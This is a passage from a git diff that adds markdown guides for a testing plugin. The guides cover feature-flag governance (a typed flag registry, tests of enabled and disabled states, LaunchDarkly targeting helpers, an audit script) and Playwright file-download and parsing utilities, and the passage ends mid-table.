+Feature flags enable controlled rollouts and A/B testing, but require disciplined testing governance. Centralize flag definitions in a frozen enum, test both enabled and disabled states, clean up targeting after each spec, and maintain a comprehensive flag lifecycle checklist. For LaunchDarkly-style systems, script API helpers to seed variations programmatically rather than manual UI mutations.
+
+## Rationale
+
+Poorly managed feature flags become technical debt: untested variations ship broken code, forgotten flags clutter the codebase, and shared environments become unstable from leftover targeting rules. Structured governance ensures flags are testable, traceable, temporary, and safe. Testing both states prevents surprises when flags flip in production.
+
+## Pattern Examples
+
+### Example 1: Feature Flag Enum Pattern with Type Safety
+
+**Context**: Centralized flag management with TypeScript type safety and runtime validation.
+
+**Implementation**:
+
+```typescript
+// src/utils/feature-flags.ts
+/**
+ * Centralized feature flag definitions
+ * - Object.freeze prevents runtime modifications
+ * - TypeScript ensures compile-time type safety
+ * - Single source of truth for all flag keys
+ */
+export const FLAGS = Object.freeze({
+  // User-facing features
+  NEW_CHECKOUT_FLOW: 'new-checkout-flow',
+  DARK_MODE: 'dark-mode',
+  ENHANCED_SEARCH: 'enhanced-search',
+
+  // Experiments
+  PRICING_EXPERIMENT_A: 'pricing-experiment-a',
+  HOMEPAGE_VARIANT_B: 'homepage-variant-b',
+
+  // Infrastructure
+  USE_NEW_API_ENDPOINT: 'use-new-api-endpoint',
+  ENABLE_ANALYTICS_V2: 'enable-analytics-v2',
+
+  // Killswitches (emergency disables)
+  DISABLE_PAYMENT_PROCESSING: 'disable-payment-processing',
+  DISABLE_EMAIL_NOTIFICATIONS: 'disable-email-notifications',
+} as const);
+
+/**
+ * Type-safe flag keys
+ * Prevents typos and ensures autocomplete in IDEs
+ */
+export type FlagKey = (typeof FLAGS)[keyof typeof FLAGS];
+
+/**
+ * Flag metadata for governance
+ */
+type FlagMetadata = {
+  key: FlagKey;
+  name: string;
+  owner: string;
+  createdDate: string;
+  expiryDate?: string;
+  defaultState: boolean;
+  requiresCleanup: boolean;
+  dependencies?: FlagKey[];
+  telemetryEvents?: string[];
+};
+
+/**
+ * Flag registry with governance metadata
+ * Used for flag lifecycle tracking and cleanup alerts
+ */
+export const FLAG_REGISTRY: Record<FlagKey, FlagMetadata> = {
+  [FLAGS.NEW_CHECKOUT_FLOW]: {
+    key: FLAGS.NEW_CHECKOUT_FLOW,
+    name: 'New Checkout Flow',
+    owner: 'payments-team',
+    createdDate: '2025-01-15',
+    expiryDate: '2025-03-15',
+    defaultState: false,
+    requiresCleanup: true,
+    dependencies: [FLAGS.USE_NEW_API_ENDPOINT],
+    telemetryEvents: ['checkout_started', 'checkout_completed'],
+  },
+  [FLAGS.DARK_MODE]: {
+    key: FLAGS.DARK_MODE,
+    name: 'Dark Mode UI',
+    owner: 'frontend-team',
+    createdDate: '2025-01-10',
+    defaultState: false,
+    requiresCleanup: false, // Permanent feature toggle
+  },
+  // ... rest of registry
+};
+
+/**
+ * Validate flag exists in registry
+ * Throws at runtime if flag is unregistered
+ */
+export function validateFlag(flag: string): asserts flag is FlagKey {
+  if (!Object.values(FLAGS).includes(flag as FlagKey)) {
+    throw new Error(`Unregistered feature flag: ${flag}`);
+  }
+}
+
+/**
+ * Check if flag is expired (needs removal)
+ */
+export function isFlagExpired(flag: FlagKey): boolean {
+  const metadata = FLAG_REGISTRY[flag];
+  if (!metadata.expiryDate) return false;
+
+  const expiry = new Date(metadata.expiryDate);
+  return Date.now() > expiry.getTime();
+}
+
+/**
+ * Get all expired flags requiring cleanup
+ */
+export function getExpiredFlags(): FlagMetadata[] {
+  return Object.values(FLAG_REGISTRY).filter((meta) => isFlagExpired(meta.key));
+}
+```
+
+**Usage in application code**:
+
+```typescript
+// components/Checkout.tsx
+import { FLAGS } from '@/utils/feature-flags';
+import { useFeatureFlag } from '@/hooks/useFeatureFlag';
+
+export function Checkout() {
+  const isNewFlow = useFeatureFlag(FLAGS.NEW_CHECKOUT_FLOW);
+
+  return isNewFlow ? <NewCheckoutFlow /> : <LegacyCheckoutFlow />;
+}
+```
+
+**Key Points**:
+
+- **Type safety**: TypeScript catches typos at compile time
+- **Runtime validation**: validateFlag ensures only registered flags used
+- **Metadata tracking**: Owner, dates, dependencies documented
+- **Expiry alerts**: Automated detection of stale flags
+- **Single source of truth**: All flags defined in one place
+
+---
+
+### Example 2: Feature Flag Testing Pattern (Both States)
+
+**Context**: Comprehensive testing of feature flag variations with proper cleanup.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/checkout-feature-flag.spec.ts
+import { test, expect } from '@playwright/test';
+import { FLAGS } from '@/utils/feature-flags';
+
+/**
+ * Feature Flag Testing Strategy:
+ * 1. Test BOTH enabled and disabled states
+ * 2. Clean up targeting after each test
+ * 3. Use dedicated test users (not production data)
+ * 4. Verify telemetry events fire correctly
+ */
+
+test.describe('Checkout Flow - Feature Flag Variations', () => {
+  let testUserId: string;
+
+  test.beforeEach(async () => {
+    // Generate unique test user ID
+    testUserId = `test-user-${Date.now()}`;
+  });
+
+  test.afterEach(async ({ request }) => {
+    // CRITICAL: Clean up flag targeting to prevent shared env pollution
+    await request.post('/api/feature-flags/cleanup', {
+      data: {
+        flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+        userId: testUserId,
+      },
+    });
+  });
+
+  test('should use NEW checkout flow when flag is ENABLED', async ({ page, request }) => {
+    // Arrange: Enable flag for test user
+    await request.post('/api/feature-flags/target', {
+      data: {
+        flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+        userId: testUserId,
+        variation: true, // ENABLED
+      },
+    });
+
+    // Act: Navigate as targeted user
+    await page.goto('/checkout', {
+      extraHTTPHeaders: {
+        'X-Test-User-ID': testUserId,
+      },
+    });
+
+    // Assert: New flow UI elements visible
+    await expect(page.getByTestId('checkout-v2-container')).toBeVisible();
+    await expect(page.getByTestId('express-payment-options')).toBeVisible();
+    await expect(page.getByTestId('saved-addresses-dropdown')).toBeVisible();
+
+    // Assert: Legacy flow NOT visible
+    await expect(page.getByTestId('checkout-v1-container')).not.toBeVisible();
+
+    // Assert: Telemetry event fired
+    const analyticsEvents = await page.evaluate(() => (window as any).__ANALYTICS_EVENTS__ || []);
+    expect(analyticsEvents).toContainEqual(
+      expect.objectContaining({
+        event: 'checkout_started',
+        properties: expect.objectContaining({
+          variant: 'new_flow',
+        }),
+      }),
+    );
+  });
+
+  test('should use LEGACY checkout flow when flag is DISABLED', async ({ page, request }) => {
+    // Arrange: Disable flag for test user (or don't target at all)
+    await request.post('/api/feature-flags/target', {
+      data: {
+        flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+        userId: testUserId,
+        variation: false, // DISABLED
+      },
+    });
+
+    // Act: Navigate as targeted user
+    await page.goto('/checkout', {
+      extraHTTPHeaders: {
+        'X-Test-User-ID': testUserId,
+      },
+    });
+
+    // Assert: Legacy flow UI elements visible
+    await expect(page.getByTestId('checkout-v1-container')).toBeVisible();
+    await expect(page.getByTestId('legacy-payment-form')).toBeVisible();
+
+    // Assert: New flow NOT visible
+    await expect(page.getByTestId('checkout-v2-container')).not.toBeVisible();
+    await expect(page.getByTestId('express-payment-options')).not.toBeVisible();
+
+    // Assert: Telemetry event fired with correct variant
+    const analyticsEvents = await page.evaluate(() => (window as any).__ANALYTICS_EVENTS__ || []);
+    expect(analyticsEvents).toContainEqual(
+      expect.objectContaining({
+        event: 'checkout_started',
+        properties: expect.objectContaining({
+          variant: 'legacy_flow',
+        }),
+      }),
+    );
+  });
+
+  test('should handle flag evaluation errors gracefully', async ({ page, request }) => {
+    // Arrange: Simulate flag service unavailable
+    await page.route('**/api/feature-flags/evaluate', (route) => route.fulfill({ status: 500, body: 'Service Unavailable' }));
+
+    // Act: Navigate (should fallback to default state)
+    await page.goto('/checkout', {
+      extraHTTPHeaders: {
+        'X-Test-User-ID': testUserId,
+      },
+    });
+
+    // Assert: Fallback to safe default (legacy flow)
+    await expect(page.getByTestId('checkout-v1-container')).toBeVisible();
+
+    // Assert: Error logged but no user-facing error
+    const consoleErrors = [];
+    page.on('console', (msg) => {
+      if (msg.type() === 'error') consoleErrors.push(msg.text());
+    });
+    expect(consoleErrors).toContain(expect.stringContaining('Feature flag evaluation failed'));
+  });
+});
+```
+
+**Cypress equivalent**:
+
+```javascript
+// cypress/e2e/checkout-feature-flag.cy.ts
+import { FLAGS } from '@/utils/feature-flags';
+
+describe('Checkout Flow - Feature Flag Variations', () => {
+  let testUserId;
+
+  beforeEach(() => {
+    testUserId = `test-user-${Date.now()}`;
+  });
+
+  afterEach(() => {
+    // Clean up targeting
+    cy.task('removeFeatureFlagTarget', {
+      flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+      userId: testUserId,
+    });
+  });
+
+  it('should use NEW checkout flow when flag is ENABLED', () => {
+    // Arrange: Enable flag via Cypress task
+    cy.task('setFeatureFlagVariation', {
+      flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+      userId: testUserId,
+      variation: true,
+    });
+
+    // Act
+    cy.visit('/checkout', {
+      headers: { 'X-Test-User-ID': testUserId },
+    });
+
+    // Assert
+    cy.get('[data-testid="checkout-v2-container"]').should('be.visible');
+    cy.get('[data-testid="checkout-v1-container"]').should('not.exist');
+  });
+
+  it('should use LEGACY checkout flow when flag is DISABLED', () => {
+    // Arrange: Disable flag
+    cy.task('setFeatureFlagVariation', {
+      flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+      userId: testUserId,
+      variation: false,
+    });
+
+    // Act
+    cy.visit('/checkout', {
+      headers: { 'X-Test-User-ID': testUserId },
+    });
+
+    // Assert
+    cy.get('[data-testid="checkout-v1-container"]').should('be.visible');
+    cy.get('[data-testid="checkout-v2-container"]').should('not.exist');
+  });
+});
+```
+
+**Key Points**:
+
+- **Test both states**: Enabled AND disabled variations
+- **Automatic cleanup**: afterEach removes targeting (prevent pollution)
+- **Unique test users**: Avoid conflicts with real user data
+- **Telemetry validation**: Verify analytics events fire correctly
+- **Graceful degradation**: Test fallback behavior on errors
+
+---
+
+### Example 3: Feature Flag Targeting Helper Pattern
+
+**Context**: Reusable helpers for programmatic flag control via LaunchDarkly/Split.io API.
+
+**Implementation**:
+
+```typescript
+// tests/support/feature-flag-helpers.ts
+import { request as playwrightRequest } from '@playwright/test';
+import { FLAGS, FlagKey } from '@/utils/feature-flags';
+
+/**
+ * LaunchDarkly API client configuration
+ * Use test project SDK key (NOT production)
+ */
+const LD_SDK_KEY = process.env.LD_SDK_KEY_TEST;
+const LD_API_BASE = 'https://app.launchdarkly.com/api/v2';
+
+type FlagVariation = boolean | string | number | object;
+
+/**
+ * Set flag variation for specific user
+ * Uses LaunchDarkly API to create user target
+ */
+export async function setFlagForUser(flagKey: FlagKey, userId: string, variation: FlagVariation): Promise<void> {
+  const response = await playwrightRequest.newContext().then((ctx) =>
+    ctx.post(`${LD_API_BASE}/flags/${flagKey}/targeting`, {
+      headers: {
+        Authorization: LD_SDK_KEY!,
+        'Content-Type': 'application/json',
+      },
+      data: {
+        targets: [
+          {
+            values: [userId],
+            variation: variation ? 1 : 0, // 0 = off, 1 = on
+          },
+        ],
+      },
+    }),
+  );
+
+  if (!response.ok()) {
+    throw new Error(`Failed to set flag ${flagKey} for user ${userId}: ${response.status()}`);
+  }
+}
+
+/**
+ * Remove user from flag targeting
+ * CRITICAL for test cleanup
+ */
+export async function removeFlagTarget(flagKey: FlagKey, userId: string): Promise<void> {
+  const response = await playwrightRequest.newContext().then((ctx) =>
+    ctx.delete(`${LD_API_BASE}/flags/${flagKey}/targeting/users/${userId}`, {
+      headers: {
+        Authorization: LD_SDK_KEY!,
+      },
+    }),
+  );
+
+  if (!response.ok() && response.status() !== 404) {
+    // 404 is acceptable (user wasn't targeted)
+    throw new Error(`Failed to remove flag ${flagKey} target for user ${userId}: ${response.status()}`);
+  }
+}
+
+/**
+ * Percentage rollout helper
+ * Enable flag for N% of users
+ */
+export async function setFlagRolloutPercentage(flagKey: FlagKey, percentage: number): Promise<void> {
+  if (percentage < 0 || percentage > 100) {
+    throw new Error('Percentage must be between 0 and 100');
+  }
+
+  const response = await playwrightRequest.newContext().then((ctx) =>
+    ctx.patch(`${LD_API_BASE}/flags/${flagKey}`, {
+      headers: {
+        Authorization: LD_SDK_KEY!,
+        'Content-Type': 'application/json',
+      },
+      data: {
+        rollout: {
+          variations: [
+            { variation: 0, weight: 100 - percentage }, // off
+            { variation: 1, weight: percentage }, // on
+          ],
+        },
+      },
+    }),
+  );
+
+  if (!response.ok()) {
+    throw new Error(`Failed to set rollout for flag ${flagKey}: ${response.status()}`);
+  }
+}
+
+/**
+ * Enable flag globally (100% rollout)
+ */
+export async function enableFlagGlobally(flagKey: FlagKey): Promise<void> {
+  await setFlagRolloutPercentage(flagKey, 100);
+}
+
+/**
+ * Disable flag globally (0% rollout)
+ */
+export async function disableFlagGlobally(flagKey: FlagKey): Promise<void> {
+  await setFlagRolloutPercentage(flagKey, 0);
+}
+
+/**
+ * Stub feature flags in local/test environments
+ * Bypasses LaunchDarkly entirely
+ */
+export function stubFeatureFlags(flags: Record<FlagKey, FlagVariation>): void {
+  // Set flags in localStorage or inject into window
+  if (typeof window !== 'undefined') {
+    (window as any).__STUBBED_FLAGS__ = flags;
+  }
+}
+```
+
+**Usage in Playwright fixture**:
+
+```typescript
+// playwright/fixtures/feature-flag-fixture.ts
+import { test as base } from '@playwright/test';
+import { setFlagForUser, removeFlagTarget } from '../support/feature-flag-helpers';
+import { FlagKey } from '@/utils/feature-flags';
+
+type FeatureFlagFixture = {
+  featureFlags: {
+    enable: (flag: FlagKey, userId: string) => Promise<void>;
+    disable: (flag: FlagKey, userId: string) => Promise<void>;
+    cleanup: (flag: FlagKey, userId: string) => Promise<void>;
+  };
+};
+
+export const test = base.extend<FeatureFlagFixture>({
+  featureFlags: async ({}, use) => {
+    const cleanupQueue: Array<{ flag: FlagKey; userId: string }> = [];
+
+    await use({
+      enable: async (flag, userId) => {
+        await setFlagForUser(flag, userId, true);
+        cleanupQueue.push({ flag, userId });
+      },
+      disable: async (flag, userId) => {
+        await setFlagForUser(flag, userId, false);
+        cleanupQueue.push({ flag, userId });
+      },
+      cleanup: async (flag, userId) => {
+        await removeFlagTarget(flag, userId);
+      },
+    });
+
+    // Auto-cleanup after test
+    for (const { flag, userId } of cleanupQueue) {
+      await removeFlagTarget(flag, userId);
+    }
+  },
+});
+```
+
+**Key Points**:
+
+- **API-driven control**: No manual UI clicks required
+- **Auto-cleanup**: Fixture tracks and removes targeting
+- **Percentage rollouts**: Test gradual feature releases
+- **Stubbing option**: Local development without LaunchDarkly
+- **Type-safe**: FlagKey prevents typos
+
+---
+
+### Example 4: Feature Flag Lifecycle Checklist & Cleanup Strategy
+
+**Context**: Governance checklist and automated cleanup detection for stale flags.
+
+**Implementation**:
+
+```typescript
+// scripts/feature-flag-audit.ts
+/**
+ * Feature Flag Lifecycle Audit Script
+ * Run weekly to detect stale flags requiring cleanup
+ */
+
+import { FLAG_REGISTRY, FLAGS, getExpiredFlags, FlagKey } from '../src/utils/feature-flags';
+import * as fs from 'fs';
+import * as path from 'path';
+
+type AuditResult = {
+  totalFlags: number;
+  expiredFlags: FlagKey[];
+  missingOwners: FlagKey[];
+  missingDates: FlagKey[];
+  permanentFlags: FlagKey[];
+  flagsNearingExpiry: FlagKey[];
+};
+
+/**
+ * Audit all feature flags for governance compliance
+ */
+function auditFeatureFlags(): AuditResult {
+  const allFlags = Object.keys(FLAG_REGISTRY) as FlagKey[];
+  const expiredFlags = getExpiredFlags().map((meta) => meta.key);
+
+  // Flags expiring in next 30 days
+  const thirtyDaysFromNow = Date.now() + 30 * 24 * 60 * 60 * 1000;
+  const flagsNearingExpiry = allFlags.filter((flag) => {
+    const meta = FLAG_REGISTRY[flag];
+    if (!meta.expiryDate) return false;
+    const expiry = new Date(meta.expiryDate).getTime();
+    return expiry > Date.now() && expiry < thirtyDaysFromNow;
+  });
+
+  // Missing metadata
+  const missingOwners = allFlags.filter((flag) => !FLAG_REGISTRY[flag].owner);
+  const missingDates = allFlags.filter((flag) => !FLAG_REGISTRY[flag].createdDate);
+
+  // Permanent flags (no expiry, requiresCleanup = false)
+  const permanentFlags = allFlags.filter((flag) => {
+    const meta = FLAG_REGISTRY[flag];
+    return !meta.expiryDate && !meta.requiresCleanup;
+  });
+
+  return {
+    totalFlags: allFlags.length,
+    expiredFlags,
+    missingOwners,
+    missingDates,
+    permanentFlags,
+    flagsNearingExpiry,
+  };
+}
+
+/**
+ * Generate markdown report
+ */
+function generateReport(audit: AuditResult): string {
+  let report = `# Feature Flag Audit Report\n\n`;
+  report += `**Date**: ${new Date().toISOString()}\n`;
+  report += `**Total Flags**: ${audit.totalFlags}\n\n`;
+
+  if (audit.expiredFlags.length > 0) {
+    report += `## ⚠️ EXPIRED FLAGS - IMMEDIATE CLEANUP REQUIRED\n\n`;
+    audit.expiredFlags.forEach((flag) => {
+      const meta = FLAG_REGISTRY[flag];
+      report += `- **${meta.name}** (\`${flag}\`)\n`;
+      report += `  - Owner: ${meta.owner}\n`;
+      report += `  - Expired: ${meta.expiryDate}\n`;
+      report += `  - Action: Remove flag code, update tests, deploy\n\n`;
+    });
+  }
+
+  if (audit.flagsNearingExpiry.length > 0) {
+    report += `## ⏰ FLAGS EXPIRING SOON (Next 30 Days)\n\n`;
+    audit.flagsNearingExpiry.forEach((flag) => {
+      const meta = FLAG_REGISTRY[flag];
+      report += `- **${meta.name}** (\`${flag}\`)\n`;
+      report += `  - Owner: ${meta.owner}\n`;
+      report += `  - Expires: ${meta.expiryDate}\n`;
+      report += `  - Action: Plan cleanup or extend expiry\n\n`;
+    });
+  }
+
+  if (audit.permanentFlags.length > 0) {
+    report += `## 🔄 PERMANENT FLAGS (No Expiry)\n\n`;
+    audit.permanentFlags.forEach((flag) => {
+      const meta = FLAG_REGISTRY[flag];
+      report += `- **${meta.name}** (\`${flag}\`) - Owner: ${meta.owner}\n`;
+    });
+    report += `\n`;
+  }
+
+  if (audit.missingOwners.length > 0 || audit.missingDates.length > 0) {
+    report += `## ❌ GOVERNANCE ISSUES\n\n`;
+    if (audit.missingOwners.length > 0) {
+      report += `**Missing Owners**: ${audit.missingOwners.join(', ')}\n`;
+    }
+    if (audit.missingDates.length > 0) {
+      report += `**Missing Created Dates**: ${audit.missingDates.join(', ')}\n`;
+    }
+    report += `\n`;
+  }
+
+  return report;
+}
+
+/**
+ * Feature Flag Lifecycle Checklist
+ */
+const FLAG_LIFECYCLE_CHECKLIST = `
+# Feature Flag Lifecycle Checklist
+
+## Before Creating a New Flag
+
+- [ ] **Name**: Follow naming convention (kebab-case, descriptive)
+- [ ] **Owner**: Assign team/individual responsible
+- [ ] **Default State**: Determine safe default (usually false)
+- [ ] **Expiry Date**: Set removal date (30-90 days typical)
+- [ ] **Dependencies**: Document related flags
+- [ ] **Telemetry**: Plan analytics events to track
+- [ ] **Rollback Plan**: Define how to disable quickly
+
+## During Development
+
+- [ ] **Code Paths**: Both enabled/disabled states implemented
+- [ ] **Tests**: Both variations tested in CI
+- [ ] **Documentation**: Flag purpose documented in code/PR
+- [ ] **Telemetry**: Analytics events instrumented
+- [ ] **Error Handling**: Graceful degradation on flag service failure
+
+## Before Launch
+
+- [ ] **QA**: Both states tested in staging
+- [ ] **Rollout Plan**: Gradual rollout percentage defined
+- [ ] **Monitoring**: Dashboards/alerts for flag-related metrics
+- [ ] **Stakeholder Communication**: Product/design aligned
+
+## After Launch (Monitoring)
+
+- [ ] **Metrics**: Success criteria tracked
+- [ ] **Error Rates**: No increase in errors
+- [ ] **Performance**: No degradation
+- [ ] **User Feedback**: Qualitative data collected
+
+## Cleanup (Post-Launch)
+
+- [ ] **Remove Flag Code**: Delete if/else branches
+- [ ] **Update Tests**: Remove flag-specific tests
+- [ ] **Remove Targeting**: Clear all user targets
+- [ ] **Delete Flag Config**: Remove from LaunchDarkly/registry
+- [ ] **Update Documentation**: Remove references
+- [ ] **Deploy**: Ship cleanup changes
+`;
+
+// Run audit
+const audit = auditFeatureFlags();
+const report = generateReport(audit);
+
+// Save report
+const outputPath = path.join(__dirname, '../feature-flag-audit-report.md');
+fs.writeFileSync(outputPath, report);
+fs.writeFileSync(path.join(__dirname, '../FEATURE-FLAG-CHECKLIST.md'), FLAG_LIFECYCLE_CHECKLIST);
+
+console.log(`✅ Audit complete. Report saved to: ${outputPath}`);
+console.log(`Total flags: ${audit.totalFlags}`);
+console.log(`Expired flags: ${audit.expiredFlags.length}`);
+console.log(`Flags expiring soon: ${audit.flagsNearingExpiry.length}`);
+
+// Exit with error if expired flags exist
+if (audit.expiredFlags.length > 0) {
+  console.error(`\n❌ EXPIRED FLAGS DETECTED - CLEANUP REQUIRED`);
+  process.exit(1);
+}
+```
+
+**package.json scripts**:
+
+```json
+{
+  "scripts": {
+    "feature-flags:audit": "ts-node scripts/feature-flag-audit.ts",
+    "feature-flags:audit:ci": "npm run feature-flags:audit || true"
+  }
+}
+```
+
+**Key Points**:
+
+- **Automated detection**: Weekly audit catches stale flags
+- **Lifecycle checklist**: Comprehensive governance guide
+- **Expiry tracking**: Flags auto-expire after defined date
+- **CI integration**: Audit runs in pipeline, warns on expiry
+- **Ownership clarity**: Every flag has assigned owner
+
+---
+
+## Feature Flag Testing Checklist
+
+Before merging flag-related code, verify:
+
+- [ ] **Both states tested**: Enabled AND disabled variations covered
+- [ ] **Cleanup automated**: afterEach removes targeting (no manual cleanup)
+- [ ] **Unique test data**: Test users don't collide with production
+- [ ] **Telemetry validated**: Analytics events fire for both variations
+- [ ] **Error handling**: Graceful fallback when flag service unavailable
+- [ ] **Flag metadata**: Owner, dates, dependencies documented in registry
+- [ ] **Rollback plan**: Clear steps to disable flag in production
+- [ ] **Expiry date set**: Removal date defined (or marked permanent)
+
+## Integration Points
+
+- Used in workflows: `*automate` (test generation), `*framework` (flag setup)
+- Related fragments: `test-quality.md`, `selective-testing.md`
+- Flag services: LaunchDarkly, Split.io, Unleash, custom implementations
+
+_Source: LaunchDarkly strategy blog, Murat test architecture notes, enterprise feature flag governance_
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/file-utils.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/file-utils.md
new file mode 100644
index 0000000..b515d24
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/file-utils.md
@@ -0,0 +1,456 @@
+# File Utilities
+
+## Principle
+
+Read and validate files (CSV, XLSX, PDF, ZIP) with automatic parsing, type-safe results, and download handling. Simplify file operations in Playwright tests with built-in format support and validation helpers.
+
+## Rationale
+
+Testing file operations in Playwright requires boilerplate:
+
+- Manual download handling
+- External parsing libraries for each format
+- No validation helpers
+- Type-unsafe results
+- Repetitive path handling
+
+The `file-utils` module provides:
+
+- **Auto-parsing**: CSV, XLSX, PDF, ZIP automatically parsed
+- **Download handling**: Single function for UI or API-triggered downloads
+- **Type-safe**: TypeScript interfaces for parsed results
+- **Validation helpers**: Row count, header checks, content validation
+- **Format support**: Multiple sheet support (XLSX), text extraction (PDF), archive extraction (ZIP)
+
+## Why Use This Instead of Vanilla Playwright?
+
+| Vanilla Playwright                          | File Utils                                       |
+| ------------------------------------------- | ------------------------------------------------ |
+| ~80 lines per CSV flow (download + parse)   | ~10 lines end-to-end                             |
+| Manual event orchestration for downloads    | Encapsulated in `handleDownload()`               |
+| Manual path handling and `saveAs`           | Returns a ready-to-use file path                 |
+| Manual existence checks and error handling  | Centralized in one place via utility patterns    |
+| Manual CSV parsing config (headers, typing) | `readCSV()` returns `{ data, headers }` directly |
+
+## Pattern Examples
+
+### Example 1: UI-Triggered CSV Download
+
+**Context**: User clicks button, CSV downloads, validate contents.
+
+**Implementation**:
+
+```typescript
+import { handleDownload, readCSV } from '@seontechnologies/playwright-utils/file-utils';
+import path from 'node:path';
+
+const DOWNLOAD_DIR = path.join(__dirname, '../downloads');
+
+test('should download and validate CSV', async ({ page }) => {
+  const downloadPath = await handleDownload({
+    page,
+    downloadDir: DOWNLOAD_DIR,
+    trigger: () => page.getByTestId('download-button-text/csv').click(),
+  });
+
+  const csvResult = await readCSV({ filePath: downloadPath });
+
+  // Access parsed data and headers
+  const { data, headers } = csvResult.content;
+  expect(headers).toEqual(['ID', 'Name', 'Email']);
+  expect(data[0]).toMatchObject({
+    ID: expect.any(String),
+    Name: expect.any(String),
+    Email: expect.any(String),
+  });
+});
+```
+
+**Key Points**:
+
+- `handleDownload` waits for download, returns file path
+- `readCSV` auto-parses to `{ headers, data }`
+- Type-safe access to parsed content
+- Clean up downloads in `afterEach`
+
+### Example 2: XLSX with Multiple Sheets
+
+**Context**: Excel file with multiple sheets (e.g., Summary, Details, Errors).
+
+**Implementation**:
+
+```typescript
+import { readXLSX } from '@seontechnologies/playwright-utils/file-utils';
+
+test('should read multi-sheet XLSX', async () => {
+  const downloadPath = await handleDownload({
+    page,
+    downloadDir: DOWNLOAD_DIR,
+    trigger: () => page.click('[data-testid="export-xlsx"]'),
+  });
+
+  const xlsxResult = await readXLSX({ filePath: downloadPath });
+
+  // Verify worksheet structure
+  expect(xlsxResult.content.worksheets.length).toBeGreaterThan(0);
+  const worksheet = xlsxResult.content.worksheets[0];
+  expect(worksheet).toBeDefined();
+  expect(worksheet).toHaveProperty('name');
+
+  // Access sheet data
+  const sheetData = worksheet?.data;
+  expect(Array.isArray(sheetData)).toBe(true);
+
+  // Use type assertion for type safety
+  const firstRow = sheetData![0] as Record<string, unknown>;
+  expect(firstRow).toHaveProperty('id');
+});
+```
+
+**Key Points**:
+
+- `worksheets` array with `name` and `data` properties
+- Access sheets by name
+- Each sheet has its own headers and data
+- Type-safe sheet iteration
+
+### Example 3: PDF Text Extraction
+
+**Context**: Validate PDF report contains expected content.
+
+**Implementation**:
+
+```typescript
+import { readPDF } from '@seontechnologies/playwright-utils/file-utils';
+
+test('should validate PDF report', async () => {
+  const downloadPath = await handleDownload({
+    page,
+    downloadDir: DOWNLOAD_DIR,
+    trigger: () => page.getByTestId('download-button-Text-based PDF Document').click(),
+  });
+
+  const pdfResult = await readPDF({ filePath: downloadPath });
+
+  // content is extracted text from all pages
+  expect(pdfResult.pagesCount).toBe(1);
+  expect(pdfResult.fileName).toContain('.pdf');
+  expect(pdfResult.content).toContain('All you need is the free Adobe Acrobat Reader');
+});
+```
+
+**PDF Reader Options:**
+
+```typescript
+const result = await readPDF({
+  filePath: '/path/to/document.pdf',
+  mergePages: false, // Keep pages separate (default: true)
+  debug: true, // Enable debug logging
+  maxPages: 10, // Limit processing to first 10 pages
+});
+```
+
+**Important Limitation - Vector-based PDFs:**
+
+Text extraction may fail for PDFs that store text as vector graphics (e.g., those generated by jsPDF):
+
+```typescript
+// Vector-based PDF example (extraction fails gracefully)
+const pdfResult = await readPDF({ filePath: downloadPath });
+
+expect(pdfResult.pagesCount).toBe(1);
+expect(pdfResult.info.extractionNotes).toContain('Text extraction from vector-based PDFs is not supported.');
+```
+
+Such PDFs will have:
+
+- `textExtractionSuccess: false`
+- `isVectorBased: true`
+- Explanatory message in `extractionNotes`
+
+### Example 4: ZIP Archive Validation
+
+**Context**: Validate ZIP contains expected files and extract specific file.
+
+**Implementation**:
+
+```typescript
+import { readZIP } from '@seontechnologies/playwright-utils/file-utils';
+
+test('should validate ZIP archive', async () => {
+  const downloadPath = await handleDownload({
+    page,
+    downloadDir: DOWNLOAD_DIR,
+    trigger: () => page.click('[data-testid="download-backup"]'),
+  });
+
+  const zipResult = await readZIP({ filePath: downloadPath });
+
+  // Check file list
+  expect(Array.isArray(zipResult.content.entries)).toBe(true);
+  expect(zipResult.content.entries).toContain('Case_53125_10-19-22_AM/Case_53125_10-19-22_AM_case_data.csv');
+
+  // Extract specific file
+  const targetFile = 'Case_53125_10-19-22_AM/Case_53125_10-19-22_AM_case_data.csv';
+  const zipWithExtraction = await readZIP({
+    filePath: downloadPath,
+    fileToExtract: targetFile,
+  });
+
+  // Access extracted file buffer
+  const extractedFiles = zipWithExtraction.content.extractedFiles || {};
+  const fileBuffer = extractedFiles[targetFile];
+  expect(fileBuffer).toBeInstanceOf(Buffer);
+  expect(fileBuffer?.length).toBeGreaterThan(0);
+});
+```
+
+**Key Points**:
+
+- `content.entries` lists all files in archive
+- `fileToExtract` extracts specific files to Buffer
+- Validate archive structure
+- Read and parse individual files from ZIP
+
+### Example 5: API-Triggered Download
+
+**Context**: API endpoint returns file download (not UI click).
+
+**Implementation**:
+
+```typescript
+test('should download via API', async ({ page, request }) => {
+  const downloadPath = await handleDownload({
+    page, // Still need page for download events
+    downloadDir: DOWNLOAD_DIR,
+    trigger: async () => {
+      const response = await request.get('/api/export/csv', {
+        headers: { Authorization: 'Bearer token' },
+      });
+
+      if (!response.ok()) {
+        throw new Error(`Export failed: ${response.status()}`);
+      }
+    },
+  });
+
+  const { content } = await readCSV({ filePath: downloadPath });
+
+  expect(content.data).toHaveLength(100);
+});
+```
+
+**Key Points**:
+
+- `trigger` can be async API call
+- API must return `Content-Disposition` header
+- Still need `page` for download events
+- Works with authenticated endpoints
+
+### Example 6: Reading CSV from Buffer (ZIP extraction)
+
+**Context**: Read CSV content directly from a Buffer (e.g., extracted from ZIP).
+
+**Implementation**:
+
+```typescript
+// Read from a Buffer (e.g., extracted from a ZIP)
+const zipResult = await readZIP({
+  filePath: 'archive.zip',
+  fileToExtract: 'data.csv',
+});
+const fileBuffer = zipResult.content.extractedFiles?.['data.csv'];
+const csvFromBuffer = await readCSV({ content: fileBuffer });
+
+// Read from a string
+const csvString = 'name,age\nJohn,30\nJane,25';
+const csvFromString = await readCSV({ content: csvString });
+
+const { data, headers } = csvFromString.content;
+expect(headers).toContain('name');
+expect(headers).toContain('age');
+```
+
+## API Reference
+
+### CSV Reader Options
+
+| Option         | Type               | Default  | Description                            |
